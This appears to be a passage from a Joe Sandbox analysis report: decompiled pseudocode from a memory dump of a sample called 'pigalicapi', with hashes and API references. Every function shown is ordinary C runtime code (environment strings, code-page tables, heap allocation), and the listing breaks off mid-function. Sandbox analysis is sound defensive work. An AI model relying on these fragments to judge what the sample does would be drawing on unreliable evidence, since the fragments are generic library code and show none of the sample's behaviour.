Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 199677af55b0bb0cb910ebed09f93e8edf832aaf3e3af10ceb3c8cf18cf1597a
Instruction ID: 30791566d2724e21a7ac4b2d63d3aa4d92ed88521a26a3eaa8a704d1071b3fe7
Opcode Fuzzy Hash: 199677af55b0bb0cb910ebed09f93e8edf832aaf3e3af10ceb3c8cf18cf1597a
Instruction Fuzzy Hash: 6101D77250420DBBCF02AFA0DD05DEE7FA2EF08750F054154BE186A161DB76C971EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F01D19 Relevance: 4.5, APIs: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00F01D19(void* __ecx) {
				void* _t6;
				void* _t14;
				void* _t18;
				WCHAR* _t19;

				_t14 = __ecx;
				_t19 = GetEnvironmentStringsW();
				if(_t19 != 0) {
					_t12 = (E00F01CE2(_t19) - _t19 >> 1) + (E00F01CE2(_t19) - _t19 >> 1);
					_t6 = E00EFBD19(_t14, (E00F01CE2(_t19) - _t19 >> 1) + (E00F01CE2(_t19) - _t19 >> 1)); // executed
					_t18 = _t6;
					if(_t18 != 0) {
						E00EFEAF0(_t18, _t19, _t12);
					}
					E00EFA6DA(0);
					FreeEnvironmentStringsW(_t19);
				} else {
					_t18 = 0;
				}
				return _t18;
			}

0x00f01d19
0x00f01d23
0x00f01d27
0x00f01d38
0x00f01d3c
0x00f01d41
0x00f01d47
0x00f01d4c
0x00f01d51
0x00f01d56
0x00f01d5d
0x00f01d29
0x00f01d29
0x00f01d29
0x00f01d68

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00F01D1D
_free.LIBCMT ref: 00F01D56
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F01D5D

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: EnvironmentStrings$Free_free
String ID:
API String ID: 2716640707-0
Opcode ID: fbbd288d59445649193e0524f33cfab3efc4b613d721afd328ea6c29f8eca6ba
Instruction ID: 8228864deb03bbb4999655d6a8d3fe95ae5be2c880d6b068e05f50ead9bf8d72
Opcode Fuzzy Hash: fbbd288d59445649193e0524f33cfab3efc4b613d721afd328ea6c29f8eca6ba
Instruction Fuzzy Hash: 7BE02B3750992567E2212335BC89EBF3B4DFFC17B47250115F50896182EF558C0270F1

Uniqueness

Uniqueness Score: -1.00%

Function 00EFB225 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E00EFB225(void* __ebx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				intOrPtr _v1824;
				signed int _v1828;
				signed int _t63;
				void* _t67;
				signed int _t68;
				intOrPtr _t69;
				void* _t72;
				char _t73;
				char _t74;
				signed char _t75;
				signed int _t76;
				signed char _t86;
				char _t87;
				char _t90;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				void* _t96;
				char* _t97;
				intOrPtr _t101;
				signed int _t102;

				_t95 = __edx;
				_t63 =  *0xf8dd74; // 0x3af7f1ec
				_v8 = _t63 ^ _t102;
				_t101 = _a4;
				if(GetCPInfo( *(_t101 + 4),  &_v1820) == 0) {
					_t96 = _t101 + 0x119;
					_t90 = 0;
					_t67 = 0xffffff9f;
					_t68 = _t67 - _t96;
					__eflags = _t68;
					_v1828 = _t68;
					do {
						_t97 = _t96 + _t90;
						_t69 = _t68 + _t97;
						_v1824 = _t69;
						__eflags = _t69 + 0x20 - 0x19;
						if(_t69 + 0x20 > 0x19) {
							__eflags = _v1824 - 0x19;
							if(_v1824 > 0x19) {
								 *_t97 = 0;
							} else {
								_t72 = _t101 + _t90;
								_t57 = _t72 + 0x19;
								 *_t57 =  *(_t72 + 0x19) | 0x00000020;
								__eflags =  *_t57;
								_t59 = _t90 - 0x20; // -32
								_t73 = _t59;
								goto L24;
							}
						} else {
							 *(_t101 + _t90 + 0x19) =  *(_t101 + _t90 + 0x19) | 0x00000010;
							_t54 = _t90 + 0x20; // 0x20
							_t73 = _t54;
							L24:
							 *_t97 = _t73;
						}
						_t68 = _v1828;
						_t96 = _t101 + 0x119;
						_t90 = _t90 + 1;
						__eflags = _t90 - 0x100;
					} while (_t90 < 0x100);
				} else {
					_t74 = 0;
					do {
						 *((char*)(_t102 + _t74 - 0x104)) = _t74;
						_t74 = _t74 + 1;
					} while (_t74 < 0x100);
					_t75 = _v1814;
					_t93 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t108 = _t75;
						if(_t75 == 0) {
							break;
						}
						_t95 =  *(_t93 + 1) & 0x000000ff;
						_t76 = _t75 & 0x000000ff;
						while(1) {
							__eflags = _t76 - _t95;
							if(_t76 > _t95) {
								break;
							}
							__eflags = _t76 - 0x100;
							if(_t76 < 0x100) {
								 *((char*)(_t102 + _t76 - 0x104)) = 0x20;
								_t76 = _t76 + 1;
								__eflags = _t76;
								continue;
							}
							break;
						}
						_t93 = _t93 + 2;
						__eflags = _t93;
						_t75 =  *_t93;
					}
					E00EFA4FD(0, _t95, 0x100, _t101, _t108, 0, 1,  &_v264, 0x100,  &_v1800,  *(_t101 + 4), 0);
					E00EFCAA6(0x100, _t101, _t108, 0,  *((intOrPtr*)(_t101 + 0x21c)), 0x100,  &_v264, 0x100,  &_v520, 0x100,  *(_t101 + 4), 0); // executed
					E00EFCAA6(0x100, _t101, _t108, 0,  *((intOrPtr*)(_t101 + 0x21c)), 0x200,  &_v264, 0x100,  &_v776, 0x100,  *(_t101 + 4), 0);
					_t94 = 0;
					do {
						_t86 =  *(_t102 + _t94 * 2 - 0x704) & 0x0000ffff;
						if((_t86 & 0x00000001) == 0) {
							__eflags = _t86 & 0x00000002;
							if((_t86 & 0x00000002) == 0) {
								 *((char*)(_t101 + _t94 + 0x119)) = 0;
							} else {
								_t37 = _t101 + _t94 + 0x19;
								 *_t37 =  *(_t101 + _t94 + 0x19) | 0x00000020;
								__eflags =  *_t37;
								_t87 =  *((intOrPtr*)(_t102 + _t94 - 0x304));
								goto L15;
							}
						} else {
							 *(_t101 + _t94 + 0x19) =  *(_t101 + _t94 + 0x19) | 0x00000010;
							_t87 =  *((intOrPtr*)(_t102 + _t94 - 0x204));
							L15:
							 *((char*)(_t101 + _t94 + 0x119)) = _t87;
						}
						_t94 = _t94 + 1;
					} while (_t94 < 0x100);
				}
				return E00EFDC5F(_v8 ^ _t102);
			}

0x00efb225
0x00efb230
0x00efb237
0x00efb23c
0x00efb259
0x00efb351
0x00efb357
0x00efb359
0x00efb35a
0x00efb35a
0x00efb35c
0x00efb362
0x00efb362
0x00efb364
0x00efb366
0x00efb36f
0x00efb372
0x00efb37e
0x00efb385
0x00efb395
0x00efb387
0x00efb387
0x00efb38a
0x00efb38a
0x00efb38a
0x00efb38e
0x00efb38e
0x00000000
0x00efb38e
0x00efb374
0x00efb374
0x00efb379
0x00efb379
0x00efb391
0x00efb391
0x00efb391
0x00efb397
0x00efb39d
0x00efb3a3
0x00efb3a4
0x00efb3a4
0x00efb25f
0x00efb25f
0x00efb261
0x00efb261
0x00efb268
0x00efb269
0x00efb26d
0x00efb273
0x00efb279
0x00efb2a1
0x00efb2a1
0x00efb2a3
0x00000000
0x00000000
0x00efb282
0x00efb286
0x00efb298
0x00efb298
0x00efb29a
0x00000000
0x00000000
0x00efb28b
0x00efb28d
0x00efb28f
0x00efb297
0x00efb297
0x00000000
0x00efb297
0x00000000
0x00efb28d
0x00efb29c
0x00efb29c
0x00efb29f
0x00efb29f
0x00efb2bb
0x00efb2dc
0x00efb304
0x00efb30c
0x00efb30e
0x00efb30e
0x00efb318
0x00efb328
0x00efb32a
0x00efb341
0x00efb32c
0x00efb32c
0x00efb32c
0x00efb32c
0x00efb331
0x00000000
0x00efb331
0x00efb31a
0x00efb31a
0x00efb31f
0x00efb338
0x00efb338
0x00efb338
0x00efb348
0x00efb349
0x00efb34d
0x00efb3b8

APIs

GetCPInfo.KERNEL32(?,?), ref: 00EFB24A

Strings

, xrefs: 00EFB28F

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 7f61391d1dea1c742fcfa495ce35192addba11f227867a35011cb518ad6e4819
Instruction ID: 93b3827a09203806a4aa27392612feaa73cbff9048678d999a5d7ca7fbc2248b
Opcode Fuzzy Hash: 7f61391d1dea1c742fcfa495ce35192addba11f227867a35011cb518ad6e4819
Instruction Fuzzy Hash: D9412B7050434C9ADB218E64CC84BFABBFEEF45308F2414EDE68AA7142D375AA45DF20

Uniqueness

Uniqueness Score: -1.00%

Function 00EFB57A Relevance: 3.2, APIs: 2, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00EFB57A(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				signed int _v36;
				signed int _t48;
				int _t51;
				signed int _t54;
				signed int _t55;
				short _t58;
				signed char _t62;
				signed int _t63;
				signed char* _t72;
				signed char* _t73;
				int _t78;
				signed int _t81;
				signed char* _t82;
				short* _t83;
				int _t87;
				signed char _t88;
				signed int _t89;
				signed int _t91;
				signed int _t92;
				int _t94;
				int _t95;
				intOrPtr _t98;
				signed int _t99;

				_t48 =  *0xf8dd74; // 0x3af7f1ec
				_v8 = _t48 ^ _t99;
				_t98 = _a8;
				_t78 = E00EFB14D(__eflags, _a4);
				if(_t78 != 0) {
					_t94 = 0;
					__eflags = 0;
					_t81 = 0;
					_t51 = 0;
					_v32 = 0;
					while(1) {
						__eflags =  *((intOrPtr*)(_t51 + 0xf8d7e8)) - _t78;
						if( *((intOrPtr*)(_t51 + 0xf8d7e8)) == _t78) {
							break;
						}
						_t81 = _t81 + 1;
						_t51 = _t51 + 0x30;
						_v32 = _t81;
						__eflags = _t51 - 0xf0;
						if(_t51 < 0xf0) {
							continue;
						} else {
							__eflags = _t78 - 0xfde8;
							if(_t78 == 0xfde8) {
								L23:
							} else {
								__eflags = _t78 - 0xfde9;
								if(_t78 == 0xfde9) {
									goto L23;
								} else {
									_t51 = IsValidCodePage(_t78 & 0x0000ffff);
									__eflags = _t51;
									if(_t51 == 0) {
										goto L23;
									} else {
										_t51 = GetCPInfo(_t78,  &_v28);
										__eflags = _t51;
										if(_t51 == 0) {
											__eflags =  *0xf8e17c - _t94; // 0x0
											if(__eflags == 0) {
												goto L23;
											} else {
												E00EFB1C0(_t98);
												goto L37;
											}
										} else {
											E00EFF070(_t94, _t98 + 0x18, _t94, 0x101);
											 *(_t98 + 4) = _t78;
											 *(_t98 + 0x21c) = _t94;
											_t78 = 1;
											__eflags = _v28 - 1;
											if(_v28 <= 1) {
												 *(_t98 + 8) = _t94;
											} else {
												__eflags = _v22;
												_t72 =  &_v22;
												if(_v22 != 0) {
													while(1) {
														_t88 = _t72[1];
														__eflags = _t88;
														if(_t88 == 0) {
															goto L16;
														}
														_t91 = _t88 & 0x000000ff;
														_t89 =  *_t72 & 0x000000ff;
														while(1) {
															__eflags = _t89 - _t91;
															if(_t89 > _t91) {
																break;
															}
															 *(_t98 + _t89 + 0x19) =  *(_t98 + _t89 + 0x19) | 0x00000004;
															_t89 = _t89 + 1;
															__eflags = _t89;
														}
														_t72 =  &(_t72[2]);
														__eflags =  *_t72;
														if( *_t72 != 0) {
															continue;
														}
														goto L16;
													}
												}
												L16:
												_t73 = _t98 + 0x1a;
												_t87 = 0xfe;
												do {
													 *_t73 =  *_t73 | 0x00000008;
													_t73 =  &(_t73[1]);
													_t87 = _t87 - 1;
													__eflags = _t87;
												} while (_t87 != 0);
												 *(_t98 + 0x21c) = E00EFB10F( *(_t98 + 4));
												 *(_t98 + 8) = _t78;
											}
											_t95 = _t98 + 0xc;
											asm("stosd");
											asm("stosd");
											asm("stosd");
											L36:
											E00EFB225(_t78, _t91, _t95, _t98, _t98); // executed
											L37:
											__eflags = 0;
										}
									}
								}
							}
						}
						goto L39;
					}
					E00EFF070(_t94, _t98 + 0x18, _t94, 0x101);
					_t54 = _v32 * 0x30;
					__eflags = _t54;
					_v36 = _t54;
					_t55 = _t54 + 0xf8d7f8;
					_v32 = _t55;
					do {
						__eflags =  *_t55;
						_t82 = _t55;
						if( *_t55 != 0) {
							while(1) {
								_t62 = _t82[1];
								__eflags = _t62;
								if(_t62 == 0) {
									break;
								}
								_t92 =  *_t82 & 0x000000ff;
								_t63 = _t62 & 0x000000ff;
								while(1) {
									__eflags = _t92 - _t63;
									if(_t92 > _t63) {
										break;
									}
									__eflags = _t92 - 0x100;
									if(_t92 < 0x100) {
										_t31 = _t94 + 0xf8d7e4; // 0x8040201
										 *(_t98 + _t92 + 0x19) =  *(_t98 + _t92 + 0x19) |  *_t31;
										_t92 = _t92 + 1;
										__eflags = _t92;
										_t63 = _t82[1] & 0x000000ff;
										continue;
									}
									break;
								}
								_t82 =  &(_t82[2]);
								__eflags =  *_t82;
								if( *_t82 != 0) {
									continue;
								}
								break;
							}
							_t55 = _v32;
						}
						_t94 = _t94 + 1;
						_t55 = _t55 + 8;
						_v32 = _t55;
						__eflags = _t94 - 4;
					} while (_t94 < 4);
					 *(_t98 + 4) = _t78;
					 *(_t98 + 8) = 1;
					 *(_t98 + 0x21c) = E00EFB10F(_t78);
					_t83 = _t98 + 0xc;
					_t91 = _v36 + 0xf8d7ec;
					_t95 = 6;
					do {
						_t58 =  *_t91;
						_t91 = _t91 + 2;
						 *_t83 = _t58;
						_t83 = _t83 + 2;
						_t95 = _t95 - 1;
						__eflags = _t95;
					} while (_t95 != 0);
					goto L36;
				} else {
					E00EFB1C0(_t98);
				}
				L39:
				return E00EFDC5F(_v8 ^ _t99);
			}

0x00efb582
0x00efb589
0x00efb591
0x00efb599
0x00efb59e
0x00efb5af
0x00efb5af
0x00efb5b1
0x00efb5b3
0x00efb5b5
0x00efb5b8
0x00efb5b8
0x00efb5be
0x00000000
0x00000000
0x00efb5c4
0x00efb5c5
0x00efb5c8
0x00efb5cb
0x00efb5d0
0x00000000
0x00efb5d2
0x00efb5d2
0x00efb5d8
0x00efb6a6
0x00efb5de
0x00efb5de
0x00efb5e4
0x00000000
0x00efb5ea
0x00efb5ee
0x00efb5f4
0x00efb5f6
0x00000000
0x00efb5fc
0x00efb601
0x00efb607
0x00efb609
0x00efb693
0x00efb699
0x00000000
0x00efb69b
0x00efb69c
0x00000000
0x00efb69c
0x00efb60f
0x00efb619
0x00efb61e
0x00efb626
0x00efb62c
0x00efb62d
0x00efb630
0x00efb683
0x00efb632
0x00efb632
0x00efb636
0x00efb639
0x00efb63b
0x00efb63b
0x00efb63e
0x00efb640
0x00000000
0x00000000
0x00efb642
0x00efb645
0x00efb650
0x00efb650
0x00efb652
0x00000000
0x00000000
0x00efb64a
0x00efb64f
0x00efb64f
0x00efb64f
0x00efb654
0x00efb657
0x00efb65a
0x00000000
0x00000000
0x00000000
0x00efb65a
0x00efb63b
0x00efb65c
0x00efb65c
0x00efb65f
0x00efb664
0x00efb664
0x00efb667
0x00efb668
0x00efb668
0x00efb668
0x00efb678
0x00efb67e
0x00efb67e
0x00efb688
0x00efb68b
0x00efb68c
0x00efb68d
0x00efb751
0x00efb752
0x00efb757
0x00efb758
0x00efb758
0x00efb609
0x00efb5f6
0x00efb5e4
0x00efb5d8
0x00000000
0x00efb75a
0x00efb6b8
0x00efb6c0
0x00efb6c0
0x00efb6c4
0x00efb6c7
0x00efb6cd
0x00efb6d0
0x00efb6d0
0x00efb6d3
0x00efb6d5
0x00efb6d7
0x00efb6d7
0x00efb6da
0x00efb6dc
0x00000000
0x00000000
0x00efb6de
0x00efb6e1
0x00efb6fd
0x00efb6fd
0x00efb6ff
0x00000000
0x00000000
0x00efb6e6
0x00efb6ec
0x00efb6ee
0x00efb6f4
0x00efb6f8
0x00efb6f8
0x00efb6f9
0x00000000
0x00efb6f9
0x00000000
0x00efb6ec
0x00efb701
0x00efb704
0x00efb707
0x00000000
0x00000000
0x00000000
0x00efb707
0x00efb709
0x00efb709
0x00efb70c
0x00efb70d
0x00efb710
0x00efb713
0x00efb713
0x00efb719
0x00efb71c
0x00efb72b
0x00efb734
0x00efb739
0x00efb73f
0x00efb740
0x00efb740
0x00efb743
0x00efb746
0x00efb749
0x00efb74c
0x00efb74c
0x00efb74c
0x00000000
0x00efb5a0
0x00efb5a1
0x00efb5a7
0x00efb75b
0x00efb76a

APIs

Part of subcall function 00EFB14D: GetOEMCP.KERNEL32(00000000), ref: 00EFB178

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00EFB41B,?,00000000), ref: 00EFB5EE
GetCPInfo.KERNEL32(00000000,00EFB41B,?,?,?,00EFB41B,?,00000000), ref: 00EFB601

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: a1cf7ac468419e3b0b2436fd8c816ccab36438b04fc6478b2f056dc45c2bc207
Instruction ID: 9878aafb0637ab08060637121ea0b079594164c664f670a0068ae126c3b407a4
Opcode Fuzzy Hash: a1cf7ac468419e3b0b2436fd8c816ccab36438b04fc6478b2f056dc45c2bc207
Instruction Fuzzy Hash: A7515770E0420D9FDB219F31C8916FBBBE5EF81304F15616EE296EB292D7349941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EFB3B9 Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00EFB3B9(signed int __ebx, void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, char _a8) {
				char _v8;
				char _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t31;
				signed int _t36;
				char _t40;
				intOrPtr _t44;
				char _t45;
				signed int _t51;
				void* _t64;
				void* _t70;
				signed int _t75;
				void* _t81;

				_t81 = __eflags;
				_v8 = E00EF9C30(__ebx, __ecx, __edx);
				E00EFB4D8(__ebx, __ecx, __edx);
				_t31 = E00EFB14D(_t81, _a4);
				_v16 = _t31;
				_t57 =  *(_v8 + 0x48);
				if(_t31 ==  *((intOrPtr*)( *(_v8 + 0x48) + 4))) {
					return 0;
				}
				_push(__ebx);
				_t70 = E00EFBD19(_t57, 0x220);
				_t51 = __ebx | 0xffffffff;
				__eflags = _t70;
				if(__eflags == 0) {
					L5:
					_t75 = _t51;
					goto L6;
				} else {
					_t70 = memcpy(_t70,  *(_v8 + 0x48), 0x88 << 2);
					 *_t70 =  *_t70 & 0x00000000; // executed
					_t36 = E00EFB57A(_t51, _t70,  *(_v8 + 0x48), __eflags, _v16, _t70); // executed
					_t75 = _t36;
					__eflags = _t75 - _t51;
					if(_t75 != _t51) {
						__eflags = _a8;
						if(_a8 == 0) {
							E00EF9DE4();
						}
						asm("lock xadd [eax], ebx");
						__eflags = _t51 == 1;
						if(_t51 == 1) {
							_t45 = _v8;
							__eflags =  *((intOrPtr*)(_t45 + 0x48)) - 0xf8dae0;
							if( *((intOrPtr*)(_t45 + 0x48)) != 0xf8dae0) {
								E00EFA6DA( *((intOrPtr*)(_t45 + 0x48)));
							}
						}
						 *_t70 = 1;
						_t64 = _t70;
						_t70 = 0;
						 *(_v8 + 0x48) = _t64;
						_t40 = _v8;
						__eflags =  *(_t40 + 0x350) & 0x00000002;
						if(( *(_t40 + 0x350) & 0x00000002) == 0) {
							__eflags =  *0xf8dd04 & 0x00000001;
							if(( *0xf8dd04 & 0x00000001) == 0) {
								_v16 =  &_v8;
								E00EFB023(5,  &_v16);
								__eflags = _a8;
								if(_a8 != 0) {
									_t44 =  *0xf8dd00; // 0x1662758
									 *0xf8d7cc = _t44;
								}
							}
						}
						L6:
						E00EFA6DA(_t70);
						return _t75;
					} else {
						 *((intOrPtr*)(E00EF9826())) = 0x16;
						goto L5;
					}
				}
			}

0x00efb3b9
0x00efb3c6
0x00efb3c9
0x00efb3d1
0x00efb3da
0x00efb3dd
0x00efb3e3
0x00000000
0x00efb3e5
0x00efb3e9
0x00efb3f6
0x00efb3f8
0x00efb3fc
0x00efb3fe
0x00efb42e
0x00efb42e
0x00000000
0x00efb400
0x00efb40d
0x00efb413
0x00efb416
0x00efb41b
0x00efb41f
0x00efb421
0x00efb440
0x00efb444
0x00efb446
0x00efb446
0x00efb451
0x00efb455
0x00efb456
0x00efb458
0x00efb45b
0x00efb462
0x00efb467
0x00efb46c
0x00efb462
0x00efb46d
0x00efb473
0x00efb478
0x00efb47a
0x00efb47d
0x00efb480
0x00efb487
0x00efb489
0x00efb490
0x00efb495
0x00efb49e
0x00efb4a3
0x00efb4a9
0x00efb4ab
0x00efb4b0
0x00efb4b0
0x00efb4a9
0x00efb490
0x00efb430
0x00efb431
0x00000000
0x00efb423
0x00efb428
0x00000000
0x00efb428
0x00efb421

APIs

Part of subcall function 00EF9C30: GetLastError.KERNEL32(?,?,00EF5EB1,?,?,?,00EF4B88,?), ref: 00EF9C34
Part of subcall function 00EF9C30: _free.LIBCMT ref: 00EF9C67
Part of subcall function 00EF9C30: SetLastError.KERNEL32(00000000,?), ref: 00EF9CA8
Part of subcall function 00EF9C30: _abort.LIBCMT ref: 00EF9CAE

Part of subcall function 00EFB4D8: _abort.LIBCMT ref: 00EFB50A
Part of subcall function 00EFB4D8: _free.LIBCMT ref: 00EFB53E

Part of subcall function 00EFB14D: GetOEMCP.KERNEL32(00000000), ref: 00EFB178

_free.LIBCMT ref: 00EFB431
_free.LIBCMT ref: 00EFB467

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: a026b55241e86284d82356843aa5e1b94cfc55a4b3ab583e957adcf391631fe2
Instruction ID: 6a708636d418a864424895f93d9c8b5affa171da5aced67d6d75dccc4abe0837
Opcode Fuzzy Hash: a026b55241e86284d82356843aa5e1b94cfc55a4b3ab583e957adcf391631fe2
Instruction Fuzzy Hash: EB31E431A0420CEFDB10EB68D541BBDB7F5EF40328F295199E614AB293EB315D40DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F01D69 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00F01D69(void* __esi, void* __eflags) {
				intOrPtr _v12;
				void* __ecx;
				char _t16;
				void* _t17;
				void* _t26;
				void* _t28;
				void* _t30;
				char _t31;
				void* _t33;
				intOrPtr* _t35;

				_push(_t26);
				_push(_t26);
				_t16 = E00EFA67D(_t26, 0x40, 0x30); // executed
				_t31 = _t16;
				_v12 = _t31;
				_t28 = _t30;
				if(_t31 != 0) {
					_t2 = _t31 + 0xc00; // 0xc00
					_t17 = _t2;
					__eflags = _t31 - _t17;
					if(__eflags != 0) {
						_t3 = _t31 + 0x20; // 0x20
						_t35 = _t3;
						_t33 = _t17;
						do {
							_t4 = _t35 - 0x20; // 0x0
							E00EFA986(_t28, _t35, __eflags, _t4, 0xfa0, 0);
							 *(_t35 - 8) =  *(_t35 - 8) | 0xffffffff;
							 *_t35 = 0;
							_t35 = _t35 + 0x30;
							 *((intOrPtr*)(_t35 - 0x2c)) = 0;
							 *((intOrPtr*)(_t35 - 0x28)) = 0xa0a0000;
							 *((char*)(_t35 - 0x24)) = 0xa;
							 *(_t35 - 0x23) =  *(_t35 - 0x23) & 0x000000f8;
							 *((char*)(_t35 - 0x22)) = 0;
							__eflags = _t35 - 0x20 - _t33;
						} while (__eflags != 0);
						_t31 = _v12;
					}
				} else {
					_t31 = 0;
				}
				E00EFA6DA(0);
				return _t31;
			}

0x00f01d6e
0x00f01d6f
0x00f01d76
0x00f01d7b
0x00f01d7f
0x00f01d83
0x00f01d86
0x00f01d8c
0x00f01d8c
0x00f01d92
0x00f01d94
0x00f01d97
0x00f01d97
0x00f01d9a
0x00f01d9c
0x00f01da2
0x00f01da6
0x00f01dab
0x00f01daf
0x00f01db1
0x00f01db4
0x00f01dba
0x00f01dc1
0x00f01dc5
0x00f01dc9
0x00f01dcc
0x00f01dcc
0x00f01dd0
0x00f01dd3
0x00f01d88
0x00f01d88
0x00f01d88
0x00f01dd5
0x00f01de2

APIs

Part of subcall function 00EFA67D: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00EF9C5E,00000001,00000364,?,00EF4B88,?), ref: 00EFA6BE

_free.LIBCMT ref: 00F01DD5

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 92a6ae2d68cf9dbe8d0c4afe4cf0655b852b6560beefab47e5d447839bfd82a0
Instruction ID: 4df66a7db5f6e1cf9cb54e7c2b30b6d47f4f73c70f3827ef8613a7da71214354
Opcode Fuzzy Hash: 92a6ae2d68cf9dbe8d0c4afe4cf0655b852b6560beefab47e5d447839bfd82a0
Instruction Fuzzy Hash: 4D01FE76600309ABE3218F55D8419A9FBE9FB85370F25062DE595972C0EB306905D774

Uniqueness

Uniqueness Score: -1.00%

Function 00EFA67D Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00EFA67D(void* __ecx, signed int _a4, signed int _a8) {
				void* __esi;
				void* _t8;
				void* _t12;
